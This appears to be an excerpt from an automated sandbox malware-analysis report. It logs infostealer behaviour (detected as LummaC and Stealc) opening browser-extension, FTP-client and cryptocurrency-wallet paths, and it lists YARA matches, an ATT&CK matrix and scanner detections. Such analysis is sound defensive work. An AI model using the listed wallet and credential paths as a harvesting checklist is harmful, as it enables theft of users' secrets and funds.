Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI

Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe

Directory queried: number of queries: 1339

Source: Yara match	File source: 00000010.00000003.2409524653.0000000000681000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2422151331.0000000000681000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1757652611.00000000010D9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2426207049.000000000062E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2470951656.000000000068E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2471200478.0000000000692000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2376427706.0000000000682000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2389013409.000000000067E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2366019019.000000000067E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2426207049.0000000000682000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2452134408.0000000000682000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2470591112.0000000000688000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2389420379.0000000000682000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2430672698.0000000000682000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2368992394.0000000000682000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3608, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7f3598dc65.exe PID: 3352, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7f3598dc65.exe PID: 764, type: MEMORYSTR

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: dd62608cd9.exe PID: 4296, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 3608, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7f3598dc65.exe PID: 3352, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7f3598dc65.exe PID: 764, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 26.2.num.exe.d10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.0.num.exe.d10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.0.num.exe.d10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.606111e8b5.exe.f70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.num.exe.d10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.606111e8b5.exe.f70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001A.00000002.2360101819.0000000000D11000.00000080.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000000.2344313547.0000000000D2E000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000000.2344210993.0000000000D11000.00000080.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2261496330.0000000005740000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2520754609.0000000000F71000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2516702387.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2310828358.0000000001AEE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000000.2573310772.0000000000D2E000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000000.2573197213.0000000000D11000.00000080.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2309214794.0000000000F71000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2590932503.0000000000D11000.00000080.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2591047793.0000000000D2E000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.2426511088.0000000005170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2360865122.0000000000D2E000.00000002.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2588992623.00000000004D8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2363112803.000000000159E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 606111e8b5.exe PID: 2496, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 6316, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 606111e8b5.exe PID: 6376, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1002608001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	22 File and Directory Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Windows Service	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	225 System Information Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Extra Window Memory Injection	3 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Service Execution	11 Registry Run Keys / Startup Folder	1 Windows Service	12 Software Packing	NTDS	861 Security Software Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	12 Process Injection	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Scheduled Task/Job	2 Bypass User Account Control	Cached Domain Credentials	361 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	361 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	38%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\WQDKVI4V7797JCIA8ZKVR40QNCXFHXH.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\RIT5CLJSOG1HZLWAHXIC60.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe	100%	Joe Sandbox ML
